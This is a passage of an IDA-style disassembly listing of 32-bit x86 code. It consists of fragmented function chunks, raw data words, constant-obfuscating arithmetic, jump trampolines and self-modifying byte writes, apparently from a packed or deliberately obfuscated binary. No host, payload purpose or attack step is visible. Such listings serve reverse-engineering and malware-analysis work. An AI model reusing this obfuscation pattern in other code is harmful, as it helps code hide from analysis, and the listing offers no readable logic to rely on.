		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_77F9AA:				; CODE XREF: sub_7815C7:loc_78178Aj
		push	offset byte_7814BF
		jmp	nullsub_304
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		dd 0A4BA0000h, 0E90077FBh, 14F3h, 0AAF98100h, 0E9CCF277h
		dd 779h, 0F00C600h, 8C08158h, 81E82B47h, 9283A2C8h, 17D56836h
		dd 7CE90078h, 53000003h, 0B850DD8Bh, 781264h, 1FEE9h, 0C3000000h
		dd 75DE9h, 685B0000h, 77F958h, 1A25E9h,	0F000000h, 0D7284h
		dd 81D81300h, 9C32F5C2h, 241487C3h, 1660E9h, 81680000h
		dd 0E90077FEh, 14B7h, 0C103C1C1h, 0F18110E6h, 2A3C766Ah
		dd 2DBE9h, 87000000h, 0C88B2404h, 8B240C87h, 120AE9C1h
		dd 0C3000000h, 1C60000h
		db 8Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_77FA55:				; CODE XREF: sub_7815C7:loc_7800EFj
		pop	ecx
		or	eax, 0FBC5A5BDh
		call	sub_7817BC

locret_77FA61:				; CODE XREF: sub_780018:loc_7803C8j
		retn
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		mov	edi, eax
		xchg	edi, [esp]
		mov	eax, offset byte_7817DD
		jmp	loc_781687
; ---------------------------------------------------------------------------
		align 2


loc_77FA72:				; CODE XREF: _0xtwbvzc:loc_780B4Ej
		mov	edi, eax
		pop	eax
		and	edi, 95D0AE89h
		sub	edi, 0DF084A39h
		rol	edi, 9
		push	77F8DCh
		jmp	loc_780DB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_781187


loc_77FA8E:				; CODE XREF: sub_781187+9j
		cmp	al, 0A4h
		jnz	loc_77FA9D
		jmp	locret_781736
; END OF FUNCTION CHUNK	FOR sub_781187
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_781187


loc_77FA9D:				; CODE XREF: sub_781187-16F7j
		xchg	ebp, [esp+0]
		mov	ecx, ebp
		jmp	loc_780513
; END OF FUNCTION CHUNK	FOR sub_781187
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFA8100h, 0E9BC26A5h, 2EAh, 380EF8B8h, 1B09E926h
		dd 0F5810000h, 95F2ECB0h, 170BE9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77FE08


loc_77FAC9:				; CODE XREF: sub_77FE08:loc_780E4Aj
		rol	ecx, 8
		sub	ecx, 9E63540Fh
		add	ecx, 9F5B4AE6h
		push	offset loc_780F69
		jmp	nullsub_309
; END OF FUNCTION CHUNK	FOR sub_77FE08
; ---------------------------------------------------------------------------
		align 4
		push	5088F6C6h
		jmp	loc_77F8F0
; ---------------------------------------------------------------------------
		dw 8B00h		; CODE XREF: sub_77FDBF+DFCj
; ---------------------------------------------------------------------------
		fiadd	dword ptr [edi-1345DBE4h]
		sti
		ja	short $+2
		jmp	loc_7815C2
; ---------------------------------------------------------------------------
		align 10h


loc_77FB00:				; CODE XREF: _0xtwbvzc:loc_77FC90j
		mov	byte ptr [eax],	87h
		xchg	ecx, [esp]
		mov	eax, ecx
		pop	ecx
		pop	edx
		jmp	loc_780004
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_77FB0F:				; CODE XREF: sub_7815C7:loc_781860j
		call	sub_781565
		add	[edi], cl
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		dw 0D8Eh
		dd 8700000Ch, 3487240Ch, 5ECE8B24h
; ---------------------------------------------------------------------------
		mov	ecx, [ecx]
		pushf
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_77FB27:				; CODE XREF: sub_7815C7:loc_7817FCj
		push	0A8225909h
		jmp	loc_78049F
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		align 2
		cdq
		xchg	esi, [esp]
		pop	esi
		mov	esi, [esi]
		jmp	loc_7804F5
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 0FFFD85F0h, 11D6E9h,	68108B00h, 781535h, 1BB0E9h, 2C60000h
		dd 243C8709h, 0E85FD78Bh, 0A8Dh, 8117C6C1h, 0B00098C6h
		dd 5EFE0343h, 58AE9h, 850F0000h, 0FFFFF9C5h, 7B5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77FC00


loc_77FB82:				; CODE XREF: sub_77FC00+16j
		jmp	loc_781309
; END OF FUNCTION CHUNK	FOR sub_77FC00
; ---------------------------------------------------------------------------
		align 4
		dd 1AE78100h, 2B1176BBh, 0F3E89D5h, 8D681h, 0F99DE900h
		dd 3487FFFFh, 8B5E24h, 850FC009h, 0A98h, 191E9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_780531


loc_77FBB1:				; CODE XREF: sub_780531:loc_7815A7j
		mov	byte ptr [edx],	3Ch
		pop	edx
		mov	[ebp-4], eax
		push	0FE11CC36h
		pop	eax
		rol	eax, 18h
		add	eax, 0DD81094Eh
		jmp	loc_7805A1
; END OF FUNCTION CHUNK	FOR sub_780531
; ---------------------------------------------------------------------------
		sub	ebp, 4ECB2456h
		jmp	loc_7815F1
; ---------------------------------------------------------------------------
		align 4

locret_77FBD8:				; CODE XREF: _0xtwbvzc:00780C66j
		retn
; ---------------------------------------------------------------------------
		align 2


loc_77FBDA:				; CODE XREF: _0xtwbvzc:00781354j
		mov	byte ptr [ecx],	87h
		pop	ecx
		call	sub_780018
		add	[ecx+3ED069C2h], al
		inc	ebx
		mov	edx, [edx]
		imul	byte ptr [edx]
		call	sub_781187
		jmp	loc_78042D
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_77FBF9:				; CODE XREF: _0xtwbvzc:0077F8F9j
		jmp	locret_7815BD
; ---------------------------------------------------------------------------
		xchg	edx, ebx

; =============== S U B	R O U T	I N E =======================================



sub_77FC00	proc near		; CODE XREF: sub_780531+79p

; FUNCTION CHUNK AT 0077F815 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0077FB82 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00780FD7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00781309 SIZE 00000012 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xor	eax, 6F860A73h
		add	eax, ebp
		add	eax, 0FE40BF0h
		mov	eax, [eax]
		mov	al, [eax]
		jmp	loc_77FB82
sub_77FC00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	ebx, [esp]
		push	offset byte_780B8B
		jmp	locret_780B88
; ---------------------------------------------------------------------------
		dd 0C28B0000h, 51240487h, 6F83C68h, 0F66BE985h,	0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77F522


loc_77FC3C:				; CODE XREF: sub_77F522:loc_77FEC5j
		xchg	esi, [esp-4+arg_0]
		mov	ebx, esi
		pop	esi
		xchg	edi, [esp-8+arg_4]
		push	edi
		jmp	loc_780A9A
; END OF FUNCTION CHUNK	FOR sub_77F522
; ---------------------------------------------------------------------------
		align 4
		dd 1A31E8h, 945A6800h, 3C878ADFh, 5FC78B24h, 0DC3FE081h
		dd 44E92354h, 0FFFFF7h,	87D33300h, 685A2414h, 8B5DC70h
		dd 0E7E95758h, 0FFFFFDh, 508B0F00h, 87000018h, 0C6582404h
		dd 20E9C300h, 0C3000009h
; ---------------------------------------------------------------------------


loc_77FC90:				; CODE XREF: _0xtwbvzc:00781973j
		jmp	loc_77FB00
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dw 0C600h
; ---------------------------------------------------------------------------
		pop	es
		add	ebx, [edi-75h]
		fldcw	word ptr [eax+1Bh]
		cld
		ja	short $+2
		jmp	loc_77F622
; ---------------------------------------------------------------------------


loc_77FCA7:				; CODE XREF: _0xtwbvzc:00780204j
		mov	byte ptr [edi],	87h
		pop	edi
		push	ecx
		mov	ecx, ebp


loc_77FCAE:				; DATA XREF: _0xtwbvzc:007801FFo
		xchg	ecx, [esp]
		jmp	loc_7813E6
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_781910


loc_77FCB8:				; CODE XREF: sub_781910-1436j
		jmp	nullsub_306
; END OF FUNCTION CHUNK	FOR sub_781910
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
		dd 81D1F700h, 0AC23FF1h, 0F9A8E931h, 0FFFFh, 0D4D3C3F7h
		dd 0A1E986E8h, 15h, 0BD181h, 17E923D7h,	0C3FFFFFFh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_780763


loc_77FCEA:				; CODE XREF: sub_780763+10j
		jmp	loc_7804AE
; END OF FUNCTION CHUNK	FOR sub_780763
; ---------------------------------------------------------------------------
		align 10h
		dd 97890F00h, 87FFFFFDh, 0C159240Ch, 92E903C2h,	87000012h
		dd 2C582404h, 0D4FE6899h, 2C8765B6h, 0E9D58B24h, 176Dh
		dd 517E95Eh, 0F0030000h, 1A94E9h, 24348700h, 0B0EC685Eh
		dd 81598B57h, 6C5D9BE9h, 2C1F7E8h, 0E9000000h, 16D1h, 840F0000h
		dd 8F6h, 809E9h, 81000000h, 20758CC0h, 0BB6850FEh, 0E900780Ch
		dd 199Eh
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_307. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	locret_780B40
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_77FD6A:				; DATA XREF: sub_7815C7:loc_7811B3o
		lodsb
		push	offset loc_7808B7
		jmp	locret_7808AF
; ---------------------------------------------------------------------------
		call	sub_77FDBF


loc_77FD7A:				; CODE XREF: _0xtwbvzc:0077F3E7j
		jmp	loc_781500
; ---------------------------------------------------------------------------
		xchg	ebx, ecx
		jmp	loc_7804FA
; ---------------------------------------------------------------------------
		align 4
		dd 0A0D30468h, 0FF93E985h, 800FFFFFh, 15E6h, 0FFFECCE9h
		dd 8D0F00FFh, 338h, 58240487h, 0F6EA6857h, 6BE90077h, 17h
		dd 0A8E9EB85h, 0Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_77FDBF	proc near		; CODE XREF: _0xtwbvzc:0077FD75p
					; _0xtwbvzc:00780FFCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00780BB1 SIZE 0000000F BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	byte ptr [ecx],	8Bh
		pop	ecx
		xchg	ecx, [esp-8+arg_4]
		jmp	loc_780BB1
sub_77FDBF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 3
		dd 57C081D9h, 910756Fh,	0D0840FC0h, 0E9000017h,	0FFFFF6E3h
		dd 0C2FAC081h, 0C87A82Fh, 1C65924h, 1CE9598Bh, 0Eh, 5485C0F7h
		dd 0EAE9EE71h, 0FFFFFEh

; =============== S U B	R O U T	I N E =======================================



sub_77FE08	proc near		; CODE XREF: _0xtwbvzc:0077F61Dp

; FUNCTION CHUNK AT 0077FAC9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00780E4A SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	0E1BF11E0h
		pop	ecx
		or	ecx, 3E527F39h
		jmp	loc_780E4A
sub_77FE08	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2


loc_77FE1E:				; CODE XREF: _0xtwbvzc:00780A22j
		jle	loc_78057C
		or	eax, 1FDBC3B6h
		push	offset loc_7806BF
		jmp	loc_77F928
; ---------------------------------------------------------------------------
		dd 1CC0C100h, 0A8B9C081h, 0C8814116h, 96AB48B5h, 583DF081h
					; CODE XREF: _0xtwbvzc:loc_780C92j
		dd 0C503B008h, 42E9h, 0C5C10000h, 151AE910h, 3000000h
		dd 0F74E68D5h, 38E90077h, 2BFFFFF4h, 14EFC1EAh,	2B36C2F7h
		dd 4BE96799h, 10h, 0E800C300h, 1A9h, 5E66800h, 81589BA9h
		dd 36230C8h, 8F850FEDh,	0E900000Ah, 0FFFFFA96h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_313. PRESS KEYPAD	"+" TO EXPAND]
		dw 8700h
; ---------------------------------------------------------------------------
		adc	al, 24h
		pop	edx
		mov	byte ptr [edx],	8Bh
		pop	edx
		push	ecx
		mov	ecx, eax
		jmp	loc_78009A
; ---------------------------------------------------------------------------
		add	ebx, 0E540E4A7h
		add	ebx, ebp
		add	ebx, 2DCF422Ah
		mov	ebx, [ebx]
		popf
		jmp	loc_780135
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77F522


loc_77FEC5:				; CODE XREF: sub_77F522+13j
		jmp	loc_77FC3C
; END OF FUNCTION CHUNK	FOR sub_77F522
; ---------------------------------------------------------------------------


loc_77FECA:				; CODE XREF: _0xtwbvzc:00780B32j
		xchg	edi, [esp]
		pop	edi
		xchg	eax, [esp]
		push	ebx
		mov	ebx, offset locret_78167F
		jmp	loc_781678
; ---------------------------------------------------------------------------
		dd 572E6800h, 8159A890h, 0B90542E1h, 0FEC1814Ch, 85F96FFAh
		dd 0F4E9E9C1h, 5300FFFFh, 4BC27168h, 89B85048h,	0E9007800h
		dd 174Fh, 840F0000h, 435h, 78164568h, 6B9E900h,	9D000000h
		dd 0FFF851E9h, 0E9C300FFh, 0FFFFFD8Eh, 0FFF36FE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

; =============== S U B	R O U T	I N E =======================================



sub_77FF2E	proc near		; CODE XREF: sub_7815C7-1E35p

; FUNCTION CHUNK AT 0077F848 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00780F3F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007810D9 SIZE 00000012 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	82BDE54Fh
		pop	eax
		rol	eax, 19h
		cmp	eax, 0AB337D9Bh
		jmp	loc_780F3F
sub_77FF2E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 5900h
; ---------------------------------------------------------------------------
		or	esi, 11576A05h
		rol	esi, 0Fh
		xor	esi, 0E0CA73DFh
		sub	esi, 57EAB09Ch
		add	esi, 40CE0194h
		xchg	esi, [esp]
		jmp	nullsub_316
; ---------------------------------------------------------------------------
		align 4
		jnb	loc_780094
		jmp	loc_78100B
; ---------------------------------------------------------------------------
		align 4
		dd 0E68E0F00h, 87FFFFF9h, 0C65E2434h, 73E90F03h, 0FFFFFAh
		db 0
; ---------------------------------------------------------------------------


loc_77FF8D:				; CODE XREF: _0xtwbvzc:007810A6j
		mov	byte ptr [edx],	0C3h
		pop	edx
		pop	ebx
		xchg	edi, [esp]
		mov	ebp, edi
		pop	edi
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_310. PRESS KEYPAD	"+" TO EXPAND]
		align 2


loc_77FF9A:				; CODE XREF: _0xtwbvzc:0077F6F5j
		jmp	near ptr word_77F6DA+1
; ---------------------------------------------------------------------------
		align 10h
dword_77FFA0	dd 1023E8h, 0E9000000h,	0FFFFF624h					; _0xtwbvzc:loc_781764o ...
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_780FE8


loc_77FFAE:				; CODE XREF: sub_780FE8-445j
		push	offset loc_780CEE
		jmp	nullsub_313
; END OF FUNCTION CHUNK	FOR sub_780FE8
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_316. PRESS KEYPAD	"+" TO EXPAND]
		dw 0B905h
		dd 0E80077FFh, 0FFFFFCBFh, 0E95A0000h, 0B3Bh
; ---------------------------------------------------------------------------


loc_77FFCC:				; DATA XREF: sub_780FA9+Bo
		push	4FD8CA16h
		pop	esi
		and	esi, 693121B7h
		cmp	esi, 7B9C9F6Eh
		jmp	loc_7810C3
; ---------------------------------------------------------------------------
		align 4
		dd offset dword_4D4154+45ACh
; ---------------------------------------------------------------------------
		jmp	loc_780D7F
; ---------------------------------------------------------------------------
		db 2 dup(0), 59h
		dd 0CE56F181h, 0C1812D19h, 6566A637h, 0F63A850Fh, 0FFFFh
; ---------------------------------------------------------------------------


loc_780004:				; CODE XREF: _0xtwbvzc:0077FB0Aj
		jmp	loc_7816A8
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 37FBC9D9h, 0F2E4E983h, 0FFFFh

; =============== S U B	R O U T	I N E =======================================



sub_780018	proc near		; CODE XREF: _0xtwbvzc:0077FBDEp

; FUNCTION CHUNK AT 007803C8 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		pushf
		push	offset loc_7807B2
		jmp	loc_7803C8
sub_780018	endp

; ---------------------------------------------------------------------------
		align 4
		dd 24048700h, 95685658h, 5E892C93h, 0E73ECE81h,	5DE9A081h
		dd 81000007h, 0E39B0AD1h, 0E9EB3372h, 0FFFFFDBCh, 5B241C87h
		dd 16B6856h, 2BE9DAC9h,	0FFFFF3h, 0C41FE081h, 880F4D71h
		dd 0FFFFF82Bh, 18A3E9h,	6C60000h, 0A6685E9Dh, 0E90077F6h
		dd 14A5h
		db 0
; ---------------------------------------------------------------------------


loc_78007D:				; CODE XREF: _0xtwbvzc:loc_780636j
		xor	ebx, 0FFAFF50Dh
		add	ebx, 0C5E9268Dh
		xchg	ebx, [esp]
		jmp	loc_780CC6
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4


loc_780094:				; CODE XREF: _0xtwbvzc:0077FF6Cj
		call	loc_7800F5
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_78009A:				; CODE XREF: _0xtwbvzc:0077FEA6j
		jmp	loc_78134F
; ---------------------------------------------------------------------------
		align 10h
		dd 8EE28100h, 817721BCh, 2B168DF2h, 6AEA81E4h, 81CF3986h
		dd 7C7352C2h, 0F305E9A9h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_780D9D


loc_7800BF:				; CODE XREF: sub_780D9D+Bj
		xchg	eax, [esp+0]


loc_7800C2:				; DATA XREF: sub_7815C7+191o
		lock add [eax],	al
		mov	edx, [eax]
		jmp	loc_7815EC
; END OF FUNCTION CHUNK	FOR sub_780D9D
; ---------------------------------------------------------------------------
		dd 76820F00h, 0E9FFFFFAh, 1477h, 0D209108Bh, 14FE840Fh
		dd 8B520000h, 241487D0h, 0F19E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_7800EF:				; CODE XREF: sub_7815C7+A0j
		jz	loc_77FA55
; END OF FUNCTION CHUNK	FOR sub_7815C7


loc_7800F5:				; CODE XREF: _0xtwbvzc:loc_780094p
		xchg	edx, [esp]
		pop	edx
		call	sub_781910
		add	cl, ch
		adc	edx, [eax]
; ---------------------------------------------------------------------------
		dw 0
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS	KEYPAD "+" TO EXPAND]
		dw 0AB89h
		dd 52FFFFF5h, 1487D68Bh, 0D18B5224h, 0E9241487h, 0FFFFF443h
		dd 7C60000h, 46E85F9Ch,	13h, 68C10300h,	780287h, 132CE9h
		db 0
; ---------------------------------------------------------------------------


loc_780135:				; CODE XREF: _0xtwbvzc:0077FEBCj
		xchg	ebx, [esp]
		push	edx
		pushf
		push	0CACE72CEh
		jmp	loc_780EF4
; ---------------------------------------------------------------------------
		dd 9E890F00h, 8B000007h, 243C8708h, 8D03C65Fh, 183CE9h
		dd 96680000h, 0E90077F4h, 0FFFFF2D9h, 0C0810000h, 0A099AD7Dh
		dd 0C3240487h, 145EE800h, 3C870000h, 0C38B5024h, 9C240487h
		dd 0E6990B68h, 0CB815B0Ch, 0E8EF5130h, 0FFF6F1E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_780191:				; CODE XREF: sub_7815C7-1FDCj
		call	sub_77F651
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		dw 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_303. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0), 68h
		dd 0DB065426h, 20F2815Ah, 817C66BEh, 171504C2h,	5ABE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_7801B2:				; DATA XREF: sub_7811D4-6B9o
		xchg	eax, [esp]
		push	edi
		pushf
		push	53AEDDFEh
		xchg	eax, [esp]
		jmp	loc_780B4E
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_7801C5:				; CODE XREF: _0xtwbvzc:loc_780619j
		retn
; ---------------------------------------------------------------------------
		align 4


loc_7801C8:				; CODE XREF: _0xtwbvzc:0077F64Bj
		jmp	loc_780D8B
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_7801CF:				; CODE XREF: _0xtwbvzc:0077F3FAj
		jmp	loc_77F3E4
; ---------------------------------------------------------------------------
		dd 7AE85Ah, 0E9000000h,	0FFFFFE9Dh, 0C30000h, 0E43E900h
		dd 0E9000000h, 28Fh
		db 2 dup(0)
dword_7801F2	dd 525840Fh						; sub_780FA9+4o ...
		align 4
		js	loc_781124
		push	edi
		mov	edi, offset loc_77FCAE
		jmp	loc_77FCA7
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_78020A	proc near		; CODE XREF: sub_7815C7+12Fp

; FUNCTION CHUNK AT 00780499 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	edx, ebp
		push	offset loc_781452
		jmp	loc_780499
sub_78020A	endp

; ---------------------------------------------------------------------------
		align 4
		xchg	ebx, [esp]
		push	edx
		pop	edi
		xchg	edi, [esp]
		push	ebp
		mov	ebp, ebx
		xchg	ebp, [esp]
		push	offset sub_77F93B
		jmp	locret_780A2E
; ---------------------------------------------------------------------------
		dd 0C6840F00h, 0FFFFF3h, 96E78156h, 33E3CA4h, 0F3B0E9C6h
		dd 5300FFFFh, 0AFE9CF03h, 13h, 5A241487h, 0F7C9BE56h, 8BE90077h
		dd 2, 6F8A0F00h, 87000006h, 875B241Ch, 0D98B240Ch, 0FC21E859h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_78027B:				; CODE XREF: _0xtwbvzc:00780CCBj
		jmp	locret_780C98
; ---------------------------------------------------------------------------
		dd 91E99900h, 87FFFFFDh, 0CF8B243Ch, 689C535Fh,	0D11FE08Dh
		dd 8B243C87h, 79E9DFh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_78029F:				; DATA XREF: _0xtwbvzc:0077F8F4o
		mov	ecx, [ecx]
		pushf
		call	sub_78077A

; =============== S U B	R O U T	I N E =======================================



sub_7802A7	proc near

; FUNCTION CHUNK AT 00780395 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00780ED8 SIZE 0000000A BYTES

		push	ebx
		mov	ebx, 77F3C6h
		jmp	loc_780395
sub_7802A7	endp

; ---------------------------------------------------------------------------
		mov	byte ptr [edx],	9
		xchg	ebx, [esp]
		mov	edx, ebx
		pop	ebx
		push	9522928Fh
		jmp	loc_781391
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C6h
; ---------------------------------------------------------------------------
		add	[edi-74DBE379h], eax
		retf
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8FE2E281h, 0C281408Fh, 0C075EC92h, 0FFF4E8E9h, 0CDC100FFh
		dd 363E90Bh, 0
; ---------------------------------------------------------------------------
		jnz	loc_780AB1
		jmp	loc_780C09
; ---------------------------------------------------------------------------
		align 4
		jz	loc_78131F
		or	eax, 65E13592h
		xchg	eax, edi
		jmp	loc_78131B
; ---------------------------------------------------------------------------
		db 0D1h
		dd 7F4FB9C5h, 12E92017h, 5FFFFFFDh, 810CC3C1h, 0AFBDC3h
		dd 9B685604h, 5EFA3F7Ah, 810EC6C1h, 5A1F5EEEh, 64E970h
		dd 87000000h, 15FF243Ch, 7580C0h, 1640E9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7817BC


loc_780345:				; CODE XREF: sub_7817BC+Ej
		push	offset loc_7818DC
		jmp	nullsub_305
; END OF FUNCTION CHUNK	FOR sub_7817BC
; ---------------------------------------------------------------------------


loc_78034F:				; CODE XREF: _0xtwbvzc:0077F313j
					; _0xtwbvzc:0078054Fp
		xchg	ebx, [esp]
		pop	ebx
		xchg	ebx, [esp]
		call	sub_780FA9
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------


loc_78035D:				; CODE XREF: _0xtwbvzc:loc_78038Ej
		push	offset word_7806DE
		jmp	locret_780579
; ---------------------------------------------------------------------------
		align 4
		dd 0C300h, 0E1C12E89h, 11EFE915h, 0
		dd 0E85EC603h, 463h, 80E58100h,	0E960486Ah, 0FFFFEFDEh
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_78038E:				; CODE XREF: _0xtwbvzc:00780AABj
		jmp	loc_78035D
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7802A7


loc_780395:				; CODE XREF: sub_7802A7+6j
		jmp	loc_780ED8
; END OF FUNCTION CHUNK	FOR sub_7802A7
; ---------------------------------------------------------------------------
		xor	esi, 9458CB2Ah
		rol	esi, 10h
		xor	esi, 141BEA14h
		test	ebx, esi
		push	77FD18h
		jmp	loc_781572
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7805C0


loc_7803B7:				; CODE XREF: sub_7805C0-BBj
		push	offset byte_781435
		jmp	loc_780CB4
; END OF FUNCTION CHUNK	FOR sub_7805C0
; ---------------------------------------------------------------------------
		align 2
		dw 0B8E8h
		dd 0FFFFFBh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_780018


loc_7803C8:				; CODE XREF: sub_780018+Aj
		jmp	locret_77FA61
; END OF FUNCTION CHUNK	FOR sub_780018
; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 8Eh
		dd 99000010h, 0E7B5FD81h, 8EE92F52h, 0FFFFFF4h,	1D82h
		dd 0FC63300h, 0FFEEA086h, 1ADE81FFh, 81DEAFE6h,	0F39B9C1h
		dd 0FEC9E977h, 8700FFFFh, 0C65A2414h, 2C878B03h, 5DDD8B24h
		dd 0C9B4C681h, 6890EA0h, 0FFF06DE9h, 243C87FFh,	8B240C87h
		dd 685259F9h, 39F474E4h, 0B18E9h
		db 0
; ---------------------------------------------------------------------------


loc_78042D:				; CODE XREF: _0xtwbvzc:0077FBF3j
		mov	byte ptr [eax],	8Bh
		pop	eax
		push	offset byte_781261
		jmp	locret_781736
; ---------------------------------------------------------------------------
		align 4
		dd 0E9D5F700h, 0E06h, 66E9CD3Bh
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77F25A


loc_78044B:				; CODE XREF: sub_77F25A:loc_7808F1j
		mov	byte ptr [ecx],	87h


loc_78044E:				; CODE XREF: _0xtwbvzc:00780BCCj
		pop	ecx
		xor	ebx, 19A6E299h
		add	ebx, 0B0C7B864h
		xor	ebx, 0FF0F43B9h
		and	ebx, 0CEF3B228h
		jmp	loc_77F8A4
; END OF FUNCTION CHUNK	FOR sub_77F25A
; ---------------------------------------------------------------------------
		dd 8B570000h, 14F1E8F8h, 0
; ---------------------------------------------------------------------------


loc_780478:				; CODE XREF: _0xtwbvzc:00780F5Bj
		jmp	loc_781359
; ---------------------------------------------------------------------------
		db 2 dup(0), 58h
; ---------------------------------------------------------------------------
		rol	eax, 18h
		add	eax, 613F5CBFh
		xor	eax, 0D774258Eh
		jmp	loc_780758
; ---------------------------------------------------------------------------
		dd 0C30000h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_78020A


loc_780499:				; CODE XREF: sub_78020A+Bj
		jmp	nullsub_315
; END OF FUNCTION CHUNK	FOR sub_78020A
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_78049F:				; CODE XREF: sub_7815C7-1A9Bj
		pop	edx
		push	ebx
		push	0CA0BE126h
		pop	ebx
		jmp	loc_77F6CF
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_780763


loc_7804AE:				; CODE XREF: sub_780763:loc_77FCEAj
		and	eax, 1D5185E6h
		sub	eax, 0A9862DFFh
		test	eax, 1000h
		jmp	near ptr dword_77F400+8Fh
; END OF FUNCTION CHUNK	FOR sub_780763
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
; ---------------------------------------------------------------------------
		or	al, 24h
		pop	ecx
		jmp	loc_781125
; ---------------------------------------------------------------------------
		dd 0C30000h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_781910


